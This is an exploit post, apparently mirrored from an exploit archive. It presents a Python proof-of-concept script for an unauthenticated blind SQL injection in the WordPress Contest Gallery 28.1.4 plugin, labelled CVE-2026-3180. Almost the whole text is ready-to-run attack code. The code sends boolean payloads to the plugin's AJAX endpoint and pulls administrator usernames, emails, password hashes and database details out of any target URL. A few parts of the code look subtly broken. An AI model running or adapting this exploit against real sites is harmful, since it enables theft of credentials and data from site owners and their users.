Share
## https://sploitus.com/exploit?id=PACKETSTORM:223805
==================================================================================================================================
| # Title : WordPress Contest Gallery 28.1.4 Unauthenticated Blind SQL Injection Advanced exploitation with data extraction |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://wordpress.org/plugins/contest-gallery/ |
==================================================================================================================================
[+] Summary : an unauthenticated blind SQL injection exploit targeting a vulnerability in a WordPress plugin (Contest Gallery 28.1.4).
It abuses a vulnerable AJAX endpoint to infer database data by comparing server responses.
[+] POC :
#!/usr/bin/env python3
import requests
import sys
import argparse
import time
import hashlib
import binascii
from urllib.parse import urljoin
class ContestGalleryExploit:
def __init__(self, target_url, verbose=False):
self.base_url = target_url.rstrip('/')
self.ajax_url = urljoin(self.base_url, '/wp-admin/admin-ajax.php')
self.verbose = verbose
self.nonce = None
self.page_id = "1"
self.table_prefix = "wp_"
self.true_response_length = 0
def log(self, msg, level="INFO"):
if level == "SUCCESS":
print(f"\033[92m[+] {msg}\033[0m")
elif level == "ERROR":
print(f"\033[91m[-] {msg}\033[0m")
elif level == "WARNING":
print(f"\033[93m[!] {msg}\033[0m")
elif level == "DEBUG" and self.verbose:
print(f"\033[94m[*] {msg}\033[0m")
else:
print(f"\033[96m[*] {msg}\033[0m")
def get_nonce(self):
"""Extract nonce from public pages"""
self.log("Extracting nonce...")
paths = [
'/contest-gallery/gallery',
'/gallery',
'/wp-json/contest-gallery/v1/config'
]
for path in paths:
url = urljoin(self.base_url, path)
try:
response = requests.get(url, timeout=10)
if response.status_code == 200:
patterns = [
r'cg_nonce["\']?\s*:\s*["\']([a-f0-9]+)["\']',
r'name=["\']cg_nonce["\']\s+value=["\']([a-f0-9]+)["\']',
r'data-nonce=["\']([a-f0-9]+)["\']'
]
for pattern in patterns:
import re
match = re.search(pattern, response.text, re.IGNORECASE)
if match:
self.nonce = match.group(1)
self.log(f"Nonce found: {self.nonce}", "SUCCESS")
return True
except:
continue
self.log("Failed to obtain nonce", "ERROR")
return False
def get_page_id(self):
"""Find valid page ID"""
self.log("Finding valid page ID...")
for pid in range(1, 10):
test_email = f"test{pid}@test.com"
response = self.send_payload(test_email, str(pid))
if response and response.status_code == 200:
self.page_id = str(pid)
self.log(f"Valid page ID: {self.page_id}", "SUCCESS")
return True
self.log("Using default page ID: 1")
return True
def send_payload(self, email, page_id=None):
"""Send payload to vulnerable endpoint"""
if page_id is None:
page_id = self.page_id
data = {
'action': 'post_cg1l_resend_unconfirmed_mail_frontend',
'cgl_mail': email,
'cgl_page_id': page_id,
'cgl_activation_key': '',
'cg_nonce': self.nonce
}
try:
response = requests.post(self.ajax_url, data=data, timeout=10)
return response
except Exception as e:
self.log(f"Request failed: {e}", "ERROR")
return None
def check_vulnerability(self):
"""Check if target is vulnerable"""
self.log("Checking vulnerability...")
true_payload = "aaaaaaa'OR/**/1=1#@test.com"
false_payload = "aaaaaaa'OR/**/1=2#@test.com"
true_response = self.send_payload(true_payload)
false_response = self.send_payload(false_payload)
if true_response and false_response:
self.true_response_length = len(true_response.text)
if len(true_response.text) != len(false_response.text):
self.log("Target is VULNERABLE to boolean-based blind SQL injection!", "SUCCESS")
return True
self.log("Target does not appear vulnerable", "ERROR")
return False
def blind_query(self, condition):
"""Execute boolean-based blind SQL injection"""
payload = f"aaaaaaa' OR (SELECT IF(({condition}), 1, 0)) AND '1'='1#@test.com"
response = self.send_payload(payload)
if response:
return len(response.text) == self.true_response_length
return False
def extract_string(self, query, max_length=100):
"""Extract string from database using blind SQL injection"""
result = ""
for pos in range(1, max_length + 1):
found = False
for code in range(32, 127):
char = chr(code)
if char in ["'", "\\"]:
char_escaped = "\\" + char
else:
char_escaped = char
condition = f"({query}) = '{result}{char_escaped}'"
if self.blind_query(condition):
result += char
print(f"\r[*] Extracted: {result}", end="", flush=True)
found = True
break
if not found:
break
print()
return result
def extract_integer(self, query, max_bits=32):
"""Extract integer from database using blind SQL injection (bit-by-bit)"""
result = 0
for bit in range(max_bits):
condition = f"({query} >> {bit}) & 1 = 1"
if self.blind_query(condition):
result |= (1 << bit)
return result
def get_table_prefix(self):
"""Extract WordPress table prefix"""
self.log("Extracting table prefix...")
common = ['wp_', 'wp1_', 'wp2_', 'wordpress_', 'wp3_']
for prefix in common:
condition = f"SELECT COUNT(*) FROM {prefix}users > 0"
if self.blind_query(condition):
self.table_prefix = prefix
self.log(f"Found table prefix: {prefix}", "SUCCESS")
return prefix
prefix = ""
query = "SELECT SUBSTRING(table_name, 1, 1) FROM information_schema.tables WHERE table_schema = DATABASE() AND table_name LIKE '%users' LIMIT 1"
prefix = self.extract_string(query)
prefix = prefix.replace('users', '')
self.log(f"Extracted table prefix: {prefix}")
self.table_prefix = prefix
return prefix
def get_admin_users(self):
"""Extract administrator usernames"""
self.log("Extracting administrator users...")
users = []
count_query = f"SELECT COUNT(*) FROM {self.table_prefix}users u JOIN {self.table_prefix}usermeta um ON u.ID = um.user_id WHERE um.meta_key = 'wp_capabilities' AND um.meta_value LIKE '%administrator%'"
admin_count = self.extract_integer(count_query)
self.log(f"Found {admin_count} administrator user(s)")
for offset in range(admin_count):
username_query = f"SELECT u.user_login FROM {self.table_prefix}users u JOIN {self.table_prefix}usermeta um ON u.ID = um.user_id WHERE um.meta_key = 'wp_capabilities' AND um.meta_value LIKE '%administrator%' LIMIT 1 OFFSET {offset}"
username = self.extract_string(username_query, 50)
email_query = f"SELECT u.user_email FROM {self.table_prefix}users u WHERE u.user_login = '{username}' LIMIT 1"
email = self.extract_string(email_query, 100)
id_query = f"SELECT u.ID FROM {self.table_prefix}users u WHERE u.user_login = '{username}' LIMIT 1"
user_id = self.extract_integer(id_query)
users.append({
'username': username,
'email': email,
'ID': user_id
})
self.log(f" User {offset+1}: {username} (ID: {user_id})")
return users
def get_password_hash(self, username):
"""Extract password hash for a specific user"""
self.log(f"Extracting password hash for {username}...")
query = f"SELECT u.user_pass FROM {self.table_prefix}users u WHERE u.user_login = '{username}' LIMIT 1"
hash_value = self.extract_string(query, 100)
self.log(f"Password hash: {hash_value}")
return hash_value
def get_wp_config(self):
"""Extract WordPress configuration"""
self.log("Extracting WordPress configuration...")
config = {}
db_name = self.extract_string("SELECT DATABASE()", 50)
config['DB_NAME'] = db_name
self.log(f"Database name: {db_name}")
db_user = self.extract_string("SELECT USER()", 50)
config['DB_USER'] = db_user
self.log(f"Database user: {db_user}")
mysql_version = self.extract_string("SELECT VERSION()", 50)
config['MYSQL_VERSION'] = mysql_version
self.log(f"MySQL version: {mysql_version}")
wp_version = self.extract_string("SELECT option_value FROM wp_options WHERE option_name = 'blogversion' LIMIT 1", 20)
if wp_version:
config['WP_VERSION'] = wp_version
self.log(f"WordPress version: {wp_version}")
return config
def run(self, extract_type="all"):
"""Main exploit routine"""
if not self.get_nonce():
return False
if not self.get_page_id():
return False
if not self.check_vulnerability():
return False
self.get_table_prefix()
if extract_type in ["users", "all"]:
users = self.get_admin_users()
if extract_type == "all":
for user in users:
user['password_hash'] = self.get_password_hash(user['username'])
if extract_type in ["config", "all"]:
config = self.get_wp_config()
self.log("\n" + "=" * 60, "SUCCESS")
self.log("EXTRACTION COMPLETE!", "SUCCESS")
self.log("=" * 60)
return True
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-3180 - WordPress Contest Gallery Blind SQL Injection"
)
parser.add_argument("-u", "--url", required=True, help="Target WordPress URL")
parser.add_argument("--extract", choices=["users", "config", "all"], default="all",
help="What to extract (default: all)")
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
args = parser.parse_args()
print("""
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ CVE-2026-3180 - WordPress Contest Gallery 28.1.4 โ
โ Unauthenticated Blind SQL Injection โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
""")
exploit = ContestGalleryExploit(args.url, args.verbose)
exploit.run(args.extract)
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================